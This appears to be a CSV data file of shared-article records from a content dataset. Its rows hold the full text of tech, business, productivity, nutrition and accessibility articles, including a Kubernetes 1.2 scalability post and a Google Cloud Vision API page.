1460485273,CONTENT SHARED,-8258529658421542282,3891637997717104548,3809100758364899270,,,,HTML,https://cloud.google.com/vision/,Vision API - Image Content Analysis,"Derive insight from images with our powerful Cloud Vision API Try It Free Powerful Image Analysis Google Cloud Vision API enables developers to understand the content of an image by encapsulating powerful machine learning models in an easy to use REST API. It quickly classifies images into thousands of categories (e.g., ""sailboat"", ""lion"", ""Eiffel Tower""), detects individual objects and faces within images , and finds and reads printed words contained within images. You can build metadata on your image catalog, moderate offensive content, or enable new marketing scenarios through image sentiment analysis. Analyze images uploaded in the request or integrate with your image storage on Google Cloud Storage. During Beta , Vision API is not intended for real time usage on mission critical applications. Insight From Your Images Easily detect broad sets of objects in your images, from flowers, animals, or transportation to thousands of other object categories commonly found within images. Vision API improves over time as new concepts are introduced and accuracy is improved. Detect Inappropriate Content Powered by Google SafeSearch , easily moderate content from your crowd sourced images. Vision API enables you to detect different types of inappropriate content from adult to violent content. Image Sentiment Analysis Vision API can analyze emotional facial attributes of people in your images, like joy, sorrow and anger. Combine this with object detection and product logo detection, so you can assess how people feel about your logo. Extract Text Optical Character Recognition (OCR) enables you to detect text within your images, along with automatic language identification . Vision API supports a broad set of languages. Label Detection Detect broad sets of categories within an image, ranging from modes of transportation to animals. Explicit Content Detection Detect explicit content like adult content or violent content within an image. Logo Detection Detect popular product logos within an image. Landmark Detection Detect popular natural and manmade structures within an image. Face Detection Detect multiple faces within an image, along with the associated key facial attributes like emotional state or wearing headwear. Facial Recognition is not supported. Optical Character Recognition Detect and extract text within an image, with support for a broad range of languages, along with support for automatic language identification. Image Attributes Detect general attributes of the image, such as dominant color. Integrated REST API Access via REST API to request one or more annotation types per image. Images can be uploaded in the request or integrated with Google Cloud Storage . "" We have drones that take thousands of photos per flight . We find that Google Cloud Vision API is the best way to turn those huge number of photos, automatically produced, into meaningful insight . "" - Tomoaki Kobayakawa General Manager, Aerosense Inc. Price per 1,000 units, by monthly usage Feature 1 - 1,000 units/month 1,001 - 1 Million units/month 1,000,001 - 5 Million units/month 5,000,001 - 20 Million units/month Example : If you apply Face Detection and Label Detection to the same image, each feature will be billed individually. You would be billed for 1 unit of Label Detection and 1 unit of Face Detection, at the price dictated by your monthly unit volume. Limits : For more than 20 million units per month for a customer project, we would like to understand more about your needs, and may be able to build custom solutions. Please submit a Cloud Vision API Quota Request for your project. Beta: This is a Beta release of Google Cloud Vision API. This feature is not covered by any SLA or deprecation policy and may be subject to backward-incompatible changes. This API is not intended for real time use and is not meant for critical applications.",en
1460485441,CONTENT SHARED,4999440443052714243,3891637997717104548,3809100758364899270,,,,HTML,http://blog.kubernetes.io/2016/03/1000-nodes-and-beyond-updates-to-Kubernetes-performance-and-scalability-in-12.html,1000 nodes and beyond: updates to Kubernetes performance and scalability in 1.2,"Editor's note: this is the first in a series of in-depth posts on what's new in Kubernetes 1.2 We're proud to announce that with the release of 1.2 , Kubernetes now supports 1000-node clusters, with a reduction of 80% in 99th percentile tail latency for most API operations. This means in just six months, we've increased our overall scale by 10 times while maintaining a great user experience the 99th percentile pod startup times are less than 3 seconds, and 99th percentile latency of most API operations is tens of milliseconds (the exception being LIST operations, which take hundreds of milliseconds in very large clusters). Words are fine, but nothing speaks louder than a demo. Check this out! In the above video, you saw the cluster scale up to 10 M queries per second (QPS) over 1,000 nodes, including a rolling update, with zero downtime and no impact to tail latency. That's big enough to be one of the top 100 sites on the Internet! In this blog post, we'll cover the work we did to achieve this result, and discuss some of our future plans for scaling even higher. Methodology We benchmark Kubernetes scalability against the following Service Level Objectives (SLOs): API responsiveness : 99% of all API calls return in less than 1s Pod startup time : 99% of pods and their containers (with pre-pulled images) start within 5s. We say Kubernetes scales to a certain number of nodes only if both of these SLOs are met. We continuously collect and report the measurements described above as part of the project test framework. This battery of tests breaks down into two parts: API responsiveness and Pod Startup Time. API responsiveness for user-level abstractions Kubernetes offers high-level abstractions for users to represent their applications. For example, the ReplicationController is an abstraction representing a collection of pods . Listing all ReplicationControllers or listing all pods from a given ReplicationController is a very common use case. On the other hand, there is little reason someone would want to list all pods in the system - for example, 30,000 pods (1000 nodes with 30 pods per node) represent ~150MB of data (~5kB/pod * 30k pods). So this test uses ReplicationControllers. For this test (assuming N to be number of nodes in the cluster), we: Create roughly 3xN ReplicationControllers of different sizes (5, 30 and 250 replicas), which altogether have 30xN replicas. We spread their creation over time (i.e. we don't start all of them at once) and wait until all of them are running. Perform a few operations on every ReplicationController (scale it, list all its instances, etc.), spreading those over time, and measuring the latency of each operation. This is similar to what a real user might do in the course of normal cluster operation. Stop and delete all ReplicationControllers in the system. For results of this test see the ""Metrics for Kubernetes 1.2"" section below. For the v1.3 release, we plan to extend this test by also creating Services, Deployments, DaemonSets, and other API objects. Pod startup end-to-end latency Users are also very interested in how long it takes Kubernetes to schedule and start a pod. This is true not only upon initial creation, but also when a ReplicationController needs to create a replacement pod to take over from one whose node failed. We (assuming N to be the number of nodes in the cluster): Create a single ReplicationController with 30xN replicas and wait until all of them are running. We are also running high-density tests, with 100xN replicas, but with fewer nodes in the cluster. Launch a series of single-pod ReplicationControllers - one every 200ms. For each, we measure ""total end-to-end startup time"" (defined below). Stop and delete all pods and replication controllers in the system. We define ""total end-to-end startup time"" as the time from the moment the client sends the API server a request to create a ReplicationController, to the moment when ""running & ready"" pod status is returned to the client via watch. That means that ""pod startup time"" includes the ReplicationController being created and in turn creating a pod, scheduler scheduling that pod, Kubernetes setting up intra-pod networking, starting containers, waiting until the pod is successfully responding to health-checks, and then finally waiting until the pod has reported its status back to the API server and then API server reported it via watch to the client. While we could have decreased the ""pod startup time"" substantially by excluding for example waiting for report via watch, or creating pods directly rather than through ReplicationControllers, we believe that a broad definition that maps to the most realistic use cases is the best for real users to understand the performance they can expect from the system. Metrics from Kubernetes 1.2 So what was the result?We run our tests on Google Compute Engine, setting the size of the master VM based on on the size of the Kubernetes cluster. In particular for 1000-node clusters we use a n1-standard-32 VM for the master (32 cores, 120GB RAM). API responsiveness The following two charts present a comparison of 99th percentile API call latencies for the Kubernetes 1.2 release and the 1.0 release on 100-node clusters. (Smaller bars are better) We present results for LIST operations separately, since these latencies are significantly higher. Note that we slightly modified our tests in the meantime, so running current tests against v1.0 would result in higher latencies than they used to. We also ran these tests against 1000-node clusters. Note: We did not support clusters larger than 100 on GKE, so we do not have metrics to compare these results to. However, customers have reported running on 1,000+ node clusters since Kubernetes 1.0. Since LIST operations are significantly larger, we again present them separately: All latencies, in both cluster sizes, are well within our 1 second SLO. Pod startup end-to-end latency The results for ""pod startup latency"" (as defined in the ""Pod-Startup end-to-end latency"" section) are presented in the following graph. For reference we are presenting also results from v1.0 for 100-node clusters in the first part of the graph. As you can see, we substantially reduced tail latency in 100-node clusters, and now deliver low pod startup latency up to the largest cluster sizes we have measured. It is noteworthy that the metrics for 1000-node clusters, for both API latency and pod startup latency, are generally better than those reported for 100-node clusters just six months ago! How did we make these improvements? To make these significant gains in scale and performance over the past six months, we made a number of improvements across the whole system. Some of the most important ones are listed below. Created a ""read cache"" at the API server level ( ) Since most Kubernetes control logic operates on an ordered, consistent snapshot kept up-to-date by etcd watches (via the API server), a slight delay in that arrival of that data has no impact on the correct operation of the cluster. These independent controller loops, distributed by design for extensibility of the system, are happy to trade a bit of latency for an increase in overall throughput. In Kubernetes 1.2 we exploited this fact to improve performance and scalability by adding an API server read cache. With this change, the API server's clients can read data from an in-memory cache in the API server instead of reading it from etcd. The cache is updated directly from etcd via watch in the background. Those clients that can tolerate latency in retrieving data (usually the lag of cache is on the order of tens of milliseconds) can be served entirely from cache, reducing the load on etcd and increasing the throughput of the server. This is a continuation of an optimization begun in v1.1, where we added support for serving watch directly from the API server instead of etcd: . Thanks to contributions from Wojciech Tyczynski at Google and Clayton Coleman and Timothy St. Clair at Red Hat, we were able to join careful system design with the unique advantages of etcd to improve the scalability and performance of Kubernetes. Introduce a ""Pod Lifecycle Event Generator"" (PLEG) in the Kubelet ( ) Kubernetes 1.2 also improved density from a pods-per-node perspective - for v1.2 we test and advertise up to 100 pods on a single node (vs 30 pods in the 1.1 release). This improvement was possible because of diligent work by the Kubernetes community through an implementation of the Pod Lifecycle Event Generator (PLEG). The Kubelet (the Kubernetes node agent) has a worker thread per pod which is responsible for managing the pod's lifecycle. In earlier releases each worker would periodically poll the underlying container runtime (Docker) to detect state changes, and perform any necessary actions to ensure the node's state matched the desired state (e.g. by starting and stopping containers). As pod density increased, concurrent polling from each worker would overwhelm the Docker runtime, leading to serious reliability and performance issues (including additional CPU utilization which was one of the limiting factors for scaling up). To address this problem we introduced a new Kubelet subcomponent - the PLEG - to centralize state change detection and generate lifecycle events for the workers. With concurrent polling eliminated, we were able to lower the steady-state CPU usage of Kubelet and the container runtime by 4x. This also allowed us to adopt a shorter polling period, so as to detect and react to changes more quickly. Improved scheduler throughput Kubernetes community members from CoreOS (Hongchao Deng and Xiang Li) helped to dive deep into the Kubernetes scheduler and dramatically improve throughput without sacrificing accuracy or flexibility. They cut total time to schedule 30,000 pods by nearly 1400%! You can read a great blog post on how they approached the problem here: A more efficient JSON parser Go's standard library includes a flexible and easy-to-use JSON parser that can encode and decode any Go struct using the reflection API. But that flexibility comes with a cost - reflection allocates lots of small objects that have to be tracked and garbage collected by the runtime. Our profiling bore that out, showing that a large chunk of both client and server time was spent in serialization. Given that our types don't change frequently, we suspected that a significant amount of reflection could be bypassed through code generation. After surveying the Go JSON landscape and conducting some initial tests, we found the ugorji codec library offered the most significant speedups - a 200% improvement in encoding and decoding JSON when using generated serializers, with a significant reduction in object allocations. After contributing fixes to the upstream library to deal with some of our complex structures, we switched Kubernetes and the go-etcd client library over. Along with some other important optimizations in the layers above and below JSON, we were able to slash the cost in CPU time of almost all API operations, especially reads. Other notable changes led to significant wins, including: Improving the performance of ReplicationController in large clusters: In both cases, the problem was debugged and/or fixed by Kubernetes community members, including Andy Goldstein and Jordan Liggitt from Red Hat, and Liang Mingqiang from NetEase. Kubernetes 1.3 and Beyond Of course, our job is not finished. We will continue to invest in improving Kubernetes performance, as we would like it to scale to many thousands of nodes, just like Google's Borg . Thanks to our investment in testing infrastructure and our focus on how teams use containers in production, we have already identified the next steps on our path to improving scale. On deck for Kubernetes 1.3: Our main bottleneck is still the API server, which spends the majority of its time just marshaling and unmarshaling JSON objects. We plan to add support for protocol buffers to the API as an optional path for inter-component communication and for storing objects in etcd. Users will still be able to use JSON to communicate with the API server, but since the majority of Kubernetes communication is intra-cluster (API server to node, scheduler to API server, etc.) we expect a significant reduction in CPU and memory usage on the master. Kubernetes uses labels to identify sets of objects; For example, identifying which pods belong to a given ReplicationController requires iterating over all pods in a namespace and choosing those that match the controller's label selector. The addition of an efficient indexer for labels that can take advantage of the existing API object cache will make it possible to quickly find the objects that match a label selector, making this common operation much faster. Scheduling decisions are based on a number of different factors, including spreading pods based on requested resources, spreading pods with the same selectors (e.g. from the same Service, ReplicationController, Job, etc.), presence of needed container images on the node, etc. Those calculations, in particular selector spreading, have many opportunities for improvement see for just one suggested change. We are also excited about the upcoming etcd v3.0 release, which was designed with Kubernetes use case in mind it will both improve performance and introduce new features. Contributors from CoreOS have already begun laying the groundwork for moving Kubernetes to etcd v3.0 (see ). While this list does not capture all the efforts around performance, we are optimistic we will achieve as big a performance gain as we saw going from Kubernetes 1.0 to 1.2. Conclusion In the last six months we've significantly improved Kubernetes scalability, allowing v1.2 to run 1000-node clusters with the same excellent responsiveness (as measured by our SLOs) as we were previously achieving only on much smaller clusters. But that isn't enough - we want to push Kubernetes even further and faster. Kubernetes v1.3 will improve the system's scalability and responsiveness further, while continuing to add features that make it easier to build and run the most demanding container-based applications. Please join our community and help us build the future of Kubernetes! There are many ways to participate. If you're particularly interested in scalability, you'll be interested in: And of course for more information about the project in general, go to www.kubernetes.io - Wojciech Tyczynski, Software Engineer, Google 1 We exclude operations on ""events"" since these are more like system logs and are not required for the system to operate properly. 2 This is test/e2e/load.go from the Kubernetes github repository. 3 This is test/e2e/density.go test from the Kubernetes github repository 4 We are looking into optimizing this in the next release, but for now using a smaller master can result in significant (order of magnitude) performance degradation. We encourage anyone running benchmarking against Kubernetes or attempting to replicate these findings to use a similarly sized master, or performance will suffer.",en
1460486773,CONTENT SHARED,-6968139157190736175,3891637997717104548,3809100758364899270,,,,HTML,https://cloudplatform.googleblog.com/2016/03/financial-services-firm-processes-25-billion-stock-market-events-per-hour-with-Google-Cloud-Bigtable.html,Financial services firm processes 25 billion stock market events per hour with Google Cloud Bigtable,"FIS , a global financial technology and services firm and frequent leader of the FinTech Top 100 list , recently ran a load test of their system on Google Cloud Platform to process, validate and link U.S. stock exchange market events. FIS used Google Cloud Dataflow and Google Cloud Bigtable to process 25 billion simulated market events in 50 minutes, generating some impressive statistics in the process. Cloud Bigtable achieved read rates in excess of 34 million events per second and 22 million event writes per second using 3500 Cloud Bigtable server nodes and 300 n1-standard-32 VMs with Cloud Dataflow. Additionally, Cloud Bigtable provided sustained rates of over 22 million event reads per second and 16 million event writes per second for extended periods of time. Moreover, Cloud Bigtable was also able to achieve significant I/O bandwidth rates during the load test: read bandwidth peaked at 34 GB/s while write bandwidth peaked at 18 GB/s. Cloud Bigtable sustained significant bandwidth for input and output for 30 minutes as well: 22 GB/s for reads and 13 GB/s for writes. For FIS, these performance capabilities make it possible to process an entire day's worth of U.S. equities and options data and make it available for analysis within four hours. For the complete set of benchmark results, see these slides . You can see a more detailed description of the overall system architecture presented by Neil Palmer and Todd Ricker from FIS and Carter Page, engineering manager for Google Cloud Bigtable : We look forward to working with other innovative companies like FIS to help them address data processing challenges with the performance, scalability and NoOps approach that Cloud Bigtable provides. - Posted by Misha Brukman, Product Manager for Google Cloud Bigtable",en
1460489002,CONTENT SHARED,-8497895589300643949,-5868110530814399805,-5533486526657585636,,,,HTML,http://www.mckinsey.com/industries/travel-transport-and-logistics/our-insights/where-accountability-really-matters,Where accountability really matters,"Travel, transportation, and logistics companies are particularly vulnerable if they get it wrong. Accountability-the ability of people to understand what is expected of them, exercise authority, and take responsibility for delivering results-is an important dimension of organizational health. Of course, some companies are better at fostering it than others. One sector that's conspicuously weak in this respect is travel, transportation, and logistics (TTL), comprising everything from local and long-distance public-transport businesses to leisure-travel operators and logistics service providers. While each is unique, most depend on global physical networks and on large, distributed workforces. An analysis of McKinsey's Organizational Health Index (OHI) shows that, on average, businesses in this sector score no better or worse, overall, than those in others. But they fall down in promoting accountability among their employees (exhibit). This low score is important given the capital-intensive nature of businesses that move goods and people. Travel, transportation, and logistics companies are also often service providers. In the best, employees play important roles in reducing costs and increasing efficiency while creating a positive experience for customers and ensuring their safety. Without clear accountability, employees have difficulty rising to these challenges. The problem is most acute in the way companies in the sector create and communicate performance goals and explicit definitions of what employees are expected to deliver. Managing performance contracts-one of four practices that contribute to accountability-is and will probably remain problematic because of the frontline-heavy and often unionized nature of travel, transportation, and logistics workforces. These companies (and others that share their characteristics) should therefore focus harder on the other three management practices that promote accountability: role clarity, personal ownership, and consequence management. McKinsey OHI data show that role clarity (clear organizational structures) and personal ownership (a culture of personal responsibility) are strongly correlated not only with improving accountability but also with organizational health overall. Only travel, transportation, and logistics companies that manage their assets and people in this way will survive in an environment that's getting tougher. About the author(s) Michael Bazigos, head of organizational science at McKinsey, is based in McKinsey's New York office, where Drew Goldstein is a consultant; Diana Ellsworth is an associate principal in the Atlanta office. The authors wish to thank Emily Caruso for her contribution to this article.",en
1460507723,CONTENT SHARED,-7805090055463938263,8164031568920151381,5175173919120635581,,,,HTML,https://www.linkedin.com/pulse/7-dicas-macetes-e-apps-que-uso-para-organizar-o-meu-dia-caetano,"7 dicas, macetes e apps que uso para organizar o meu dia e ser mais produtivo no trabalho","Quando era mais jovem, minha cabeça borbulhava de ideias e queria contá-las para alguém, fazer algo de valor. Mas a maioria delas eram abortadas - ou nem chegavam a ser ouvidas. E como a maioria de vocês já sabe, foi nesse momento que decidi abrir a Samba Tech com uma cultura interna diferenciada. O sonho de empreender pode parecer fácil para quem olha de fora, mas, na verdade, é duro, cheio de obstáculos e também muito, mas muito corrido. Muitos me perguntam como organizo minha rotina corporativa com minha vida pessoal. Tudo é muito dinâmico. Para ter uma ideia, ao longo de uma semana chego a estar em cinco cidades e dois países diferentes e, às vezes, mal consigo ficar em casa ou ir ao escritório da Samba, em Belo Horizonte. Além de contar com o suporte de uma equipe fora de série, que me mantém tranquilo e atualizado sobre tudo o que está acontecendo nas diferentes áreas das empresas, busquei algumas formas para me organizar e aumentar a minha produtividade e qualidade no trabalho. Vou contar algumas delas para vocês, confira. Dias temáticos: Cada dia da minha semana é dedicado a um tema. Por mais que eu tenha uma série de atividades variadas, sei que a segunda-feira, por exemplo, é o dia em que estou focado nas métricas da empresa (gestão das KPIs) e no RH. Na terça, costumo me voltar para a área Marketing; na quarta o foco é em produtos, na quinta em tecnologia e sexta em clientes e finanças. Dessa forma, consigo criar um padrão, manter minha mente ativa em um determinado assunto e me comunicar de forma mais eficiente com esses times. Tecnologia : Como todo mundo sabe, sou fanático por inovação e gosto de trazer para o meu dia a dia uma série de ferramentas digitais que possam me ajudar. No WhatsApp, por exemplo, criei grupos de comunicação direta com todos os times. Tenho lá o grupo ""Vendas + CEO"", onde envio e recebo mensagens do time comercial, de onde quer que eu esteja. Uma outra ferramenta que tenho utilizado é o Kast , do qual fui selecionado para ser um beta tester. Esse é um aplicativo para comunicação corporativa em vídeo. Com ele, é muito fácil manter toda a empresa atualizada sobre o que está rolando, quais são as novidades e os desafios que estão por vir. Muitas vezes, devido a correria, não consigo parar para escrever um e-mail ou enviar uma mensagem de texto. Dessa forma, gravo um vídeo rapidamente e a mensagem chega a todos os funcionários de forma ágil, homogênea e sem burocracia. Também utilizo o Slack para ver o que acontece em todas as áreas da empresa e poder me dar idéias em cima de discussões que acontecem por lá! Conectividade: Um líder precisa estar conectado com o mundo e com tudo que acontece. Mas é muito difícil conseguir ler todos os artigos, ebooks e papers que recebo diariamente. Por isso uso o aplicativo Pocket , para armazenar e gerenciar as informações que recebo pela internet. Aí, quando entro no avião, ligo meu fone da Beats , toco minhas playlists no Spotify e começo a leitura de coisas que guardei durante a semana. Também mantenho as apresentações comerciais da Samba e as minhas palestras no Dropbox . Ideia: A cabeça de um empreendedor borbulha de novas ideias. Para conseguir mantê-las frescas, andava com um Moleskine para todos os lugares onde ia. Mas depois era bem difícil encontrar as anotações. Aí passei a usar o Evernote , não só para escrever, mas também para gravar áudios - que às vezes é bem mais prático que a escrita. Também uso muito o Blogo , ferramenta que facilita a vida de quem gosta de escrever para blogs. Planejamento: Dentre todos esses compromissos que tenho diariamente, meu maior desafio é entender que preciso estar disponível em qualquer lugar do mundo. Portanto, procuro ter uma visão do que vou fazer nos próximos três a cinco dias. Às vezes é bem complicado, mas é dessa forma que consigo me preparar com antecedência para os compromissos. E a melhor ferramenta para isso, na minha opinião, é o Wunderlist . Lá monto o meu To-Do dos próximos dias, semanas e meses. Anoto tópicos importantes para as próximas reuniões de conselho da Samba Ads , Raccoon , Samba Tech , Smartalk e Dito ; faço lista de funcionalidades futuras para cada produto da Samba, assuntos importantes para reunião de diretoria e até coisas que preciso fazer em casa (como comprar flores pra esposa). Também uso um plugin para o Chrome chamado de Momentum , que faz uma pergunta diariamente: ""Qual o seu principal foco hoje?"". Informação: Para me manter atualizado sobre as metas da empresa, mesmo quando estou fora, utilizo o PowerBi da Microsoft, que integra com os produtos que usamos no suporte/operações ( Zendesk ), RH ( Recruiterbox e ADP ), TI ( Github ), Marketing ( RDStation ), Vendas ( Salesforce e PipeDrive ) e Financeiro ( SAP ), me dando os dados mais importantes via um aplicativo de celular. Saúde e Lazer: Já tive diversas pulseiras que medem os passos e batimentos cardíacos, mas até hoje device o que mais gostei foi o relógio da Moto 360, da Motorola. Ele se conecta bem com meu Android Nexus 6P, e com o aplicativo de esportes da UnderArmour . Quando tempo tempo e quero sair um pouco da rotina adoro jogar o The Division , pro Xbox One em casa e o Fifa 2016 na Samba. Hoje, além de CEO da Samba Tech, gerencio outras duas empresas e faço parte do board de outras três. Toda essa responsabilidade me obriga a estar presente em muitas reuniões e decidir junto com outros empreendedores novas estratégias para alavancar esses negócios no mercado. Como podem ver, o sonho de empreender não é fácil, mas talvez fique um pouquinho mais se você souber equilibrar todos os compromissos do dia a dia. Aí você me pergunta, e o descanso onde entra na sua rotina? O único momento em que me desconecto do mundo business é quando estou com minha família. Procuro sair do escritório às 18h, pois quero ver meus filhos acordados quando chegar em casa, e assim que entro por lá, o celular fica bem longe. Todo empreendedor precisa dos seus momentos de respiro, para limpar a mente e iniciar o dia seguinte com força total. É fundamental entender que os momentos devem ser vividos de forma intensa e com qualidade. Quando estou fazendo algo, seja em casa ou no trabalho, estou ali 100% . E é isso que faz toda a diferença.",pt
1460525307,CONTENT SHARED,8754824745136110042,-1032019229384696495,-6165125069895538182,,,,HTML,http://www.inc.com/lisa-calhoun/see-13-of-the-artificial-intelligence-companies-checking-you-out-today.html,13 Game-changing Artificial Intelligence Startups,"You don't have to be a Go champion to have artificial intelligence change your game. Artificial intelligence touches lives every day. You get in your car, and your Apple iPhone tells what traffic looks like where you're going--before you ask. We're all on the road with Tesla's self-driving cars , which are redefining what ""driving"" means. The artificial intelligence calendar assistant Amy emails three of your friends to figure out a meeting time that works for everyone--and nails it. Thankfully, chatting with Amazon's Alexa is a lot more entertaining than, say, with Hal, the fictional artificial intelligence from the film 2001: A Space Odyssey. And things are about to get even more interesting. The art of ""artificial"" We just experienced the fifth consecutive quarter of rising venture investment in AI, despite the general venture capital slowdown . Amazon, Apple, Facebook, Google, IBM and Microsoft are snapping up artificial intelligence. Apple, for example, recently snagged Emotient, VocalIQ, Perceptio, VocalQ and Faceshift--and is looking for more. (CB Insights has a great recent article on AI acquisitions in the last few years.) Otherwise sober minded gents like Phil Libin, founder at Evernote, recently said ""the world is going to be rewritten again."" It's either an AI bubble or a sign of a big beginning. By the way, he just made his first investment as a new VC. It's in a AI bot named Begin . He's in good company; 60% of AI firms that have been acquired in the last five years are venture-backed. That's unusually high percentage for a horizontal sector. This chart from CB Insights shows the story: Here are a few of the many artificial intelligence systems out there. Take a peek at them, because many of them are already looking at you. 1. 6sense This startup helps companies like Cisco and IBM predict sales . 2. Botanic.io This company builds an interactive, verbal personality for your code. Yep, if you have a system that needs to interact--they create a user interface for it with voice. (I went to their website for a comment but it was only text as of today. I'll check back tomorrow.) 3. Arria An analyst and a writer in one, this software ""reads"" complex data like finance or meteorology and writes accurate, easy-to-read reports for people. Yep, it's software that simplifies things so we can understand them. Aria spits out 60 accurate, detailed weather forecasts in less than a second. (People clock in at 24 hours on that task.) 3. Automated Insights Similarly, if you've got spreadsheets, Automated Insights turns them into stories. Think narratives for your sales teams based on their pipeline reports. Or imagine almost instant flight delay or gate data updates going out in natural, native language without a person having to get involved. 4. Banjo Banjo is building the world's first predictive disaster engine. Their dream is to make terrorism impossible. When the Boston marathon was bombed in 2013, MIT graduate and founder Damien used Banjo to ""rewind"" the social signals and thought he should have seen it coming. He pivoted his company to automate predicting danger . 5. ID Avatars This startup just raised a million to create emotional intelligence. Their first bot, Sophie, interacts with patients who have chronic health issues. Unlike some bots made to optimize paid interactions, this one is built to act in your best interests, period. ( Asimov would have been proud.) 6. Infer Infer helps b2b companies like Hubspot and Atlassian read the tea leaves in their sales data to figure out which leads are real, and which are tire kickers. They say using their system creates a 3X increase in conversion rates, and doubles deal size. Now that's intelligent. 7. Mindmeld Inspired by Spock, this startup aims to make computer-human communication happen at high speed for us non-Vulcans. Well, almost. Mindmeld is a leader in upgrading text interfaces to natural voice interfaces. They are a lot faster and more fun to use. 8. Mintigo Mintigo mines data from millions of companies-- financials, staff and hiring trends, technologies installed, marketing channels used, and purchase intent. They create a customer DNA fingerprint from that, and help you use it to score your prospects better. This nifty infographic gives you a sense of how it works for Salesforce . Sequoia Capital just doubled down, leading a $15 million Series D. 9. Persado Etrade and American Express are among the customers using Persado to get you to do something, as in, immediately. They call it ""cognitive content."" What it really does is automate feeding you your ultimate clickbait. Wonder why you can't put down the phone? Smelling money, Goldman Sachs just led the Series C. 10. Skytree Skytree.Net (never to be confused with SkyNet ) exits to help other software predict the future more accurately. You think I'm kidding, but here is the full quote from their home page: Skytree empowers data scientists to build more accurate models faster. The result? Deep analytic insights and the ability to predict future events, make recommendations, and reveal untapped markets and customers. 11. Sense.ly This healthcare startup helps doctors reach patients through bots and sensors (think, on your phone) that maximize time, minimize dollars and try to optimize patient health. 12. X.ai When can you make that meeting? X.ai's virtual assistant is truly virtual--you can have it in the Andrew or the Amy flavor. Simply copy it in your email, and it does the rest--emailing everyone independently to figure out an ideal time and place. 13. Vicarious Systems This company decided traditional machine learning is for dummies. It's building a faster, smoother learning interface for artificial intelligence that gets away from the zeroes and ones. They intend to reinvent how artificial intelligence gets smart and have raised around $72 million to get a start on that. 13. Viv Labs Viv markets itself as the global brain. Perhaps you've already spotted something like Viv if you watched the movie, Her . Like the fictional artificial intelligence virtual assistant in Her , Viv is supposed to be an ubiquitous, personalized presence that can control everything from your fridge to your flight. The artificial intelligence arms race There are so many AI startups, it's impossible to capture even a fraction in one article. Hopefully you got a sense of the flavor of this exciting space. If there's an especially fascinating young startup I missed, please share.",en
1460525788,CONTENT SHARED,-6121430502305136434,-1032019229384696495,-6165125069895538182,,,,HTML,http://mentalfloss.com/article/78301/6-delicious-sports-snacks-approved-athletes-and-scientists,6 Delicious Sports Snacks Approved by Athletes and Scientists,"You don't have to stock up on sports drinks and protein bars to power through a tough workout and refuel afterward. A lot of foods you have in your cupboard actually make great training fuel, and some of them are downright delicious. Read on for tasty foods and drinks that have been proven to help you go longer or faster-and get more out of your trip to the gym. 1. COFFEE Caffeine is known to give a boost to athletic performance, but caffeinated coffee in particular is a helpful source of energy for athletes, according to new research from the University of Georgia. Reviewing nine previous studies about coffee and endurance, researchers found that consuming 3 to 7 milligrams of caffeine from coffee per kilogram of body weight improves endurance performance by an average of 24 percent. (To give an idea of how much that is, the amount of caffeine in a cup can range from 75 to 200 mg.) All the more reason to let yourself have a cup-or a few-of joe before you hit the gym. 2. DARK CHOCOLATE Got a sweet tooth? Good news for you: According to a new study from Kingston University in England, eating a couple squares of dark chocolate daily was shown to up recreational cyclists' endurance. Study participants who nibbled on dark chocolate also covered 17 percent more distance in a time trial than those who didn't. Researchers think the candy aids performance by making your body use oxygen more efficiently.. 3. CHERRY JUICE Drinking some tart cherry juice every day can help you recover faster after a lengthy workout, according to a study in the Scandinavian Journal of Medicine and Science in Sports . Researchers found that amateur marathon runners who downed the juice for five days before and two days after a race showed less inflammation and bounced back faster afterward than those who didn't. 4. ALMONDS Eating almonds for four weeks helped cyclists pedal a longer distance in a timed trial during a study published in the Journal of the International Society of Sports Nutrition . The nuts' fatty acids help contribute energy during endurance training, say the researchers. They suggest eating almonds on a regular basis, not just on the day you're going out for a long run or ride, as it's key to have a store of the fatty acids preloaded for muscles to pull from. 5. BANANAS The fruit is already a favorite of endurance athletes because it packs a mega dose of potassium. But they might provide a bigger training boost than runners, cyclists, and triathletes realized: Eating the fruit improves cyclists' performance during a 75-kilometer ride as much as a sports drink does, according to recent research in PLOS One . Even better, say scientists, bananas have a healthier combination of sugars and provide athletes with antioxidants not found in sports drinks; they also have more fiber and vitamin B6 (which helps your body convert food to energy). 6. WATERMELON JUICE Downing half a liter of this refreshing drink prior to exercise led to a lower recovery heart rate and less muscle soreness the next day, a recent study published in the Journal of Agricultural and Food Chemistry found. Researchers suggest that the fruit has an amino acid, L-citrulline, that has this muscle-repairing effect. Try sipping the juice an hour before you work out to get hydrated and avoid achiness later. All images courtesy of iStock",en
1460526387,CONTENT SHARED,-6347212504547574224,-1032019229384696495,-6165125069895538182,,,,HTML,https://googleblog.blogspot.com/2016/04/building-more-accessible-technology.html,Building more accessible technology,"Nearly 20 percent of the U.S. population will have a disability during their lifetime, which can make it hard for them to access and interact with technology, and limits the opportunity that technology can bring. That's why it's so important to build tools to make technology accessible to everyone-from people with visual impairments who need screen readers or larger text, to people with motor restrictions that prevent them from interacting with a touch screen, to people with hearing impairments who cannot hear their device's sounds. Here are some updates we've made recently to make our technology more accessible: A tool to help develop accessible apps Accessibility Scanner is a new tool for Android that lets developers test their own apps and receive suggestions on ways to enhance accessibility. For example, the tool might recommend enlarging small buttons, increasing the contrast between text and its background and more. Improvements for the visually impaired in Android N A few weeks ago we announced a preview of Android N for developers. As part of this update we're bringing Vision Settings-which lets people control settings like magnification, font size, display size and TalkBack -to the Welcome screen that appears when people activate new Android devices. Putting Vision Settings front and center means someone with a visual impairment can independently set up their own device and activate the features they need, right from the start. An improved screen reader on Chromebooks Every Chromebook comes with a built-in screen reader called ChromeVox, which enables people with visual impairments to navigate the screen using text to speech software. Our newest version, ChromeVox Next Beta, includes a simplified keyboard shortcut model, a new caption panel to display speech and Braille output, and a new set of navigation sounds. For more information, visit chromevox.com . Edit documents with your voice Google Docs now allows typing, editing and formatting using voice commands -for example, ""copy"" or ""insert table""-making it easier for people who can't use a touchscreen to edit documents. We've also continued to work closely with Freedom Scientific , a leading provider of assistive technology products, to improve the Google Docs and Drive experience with the JAWS screen reader. Voice commands on Android devices We recently launched Voice Access Beta, an app that allows people who have difficulty manipulating a touch screen due to paralysis, tremor, temporary injury or other reasons to control their Android devices by voice. For example, you can say ""open Chrome"" or ""go home"" to navigate around the phone, or interact with the screen by saying ""click next"" or ""scroll down."" To download, follow the instructions at . To learn more about Google accessibility as a whole, visit google.com/accessibility .",en
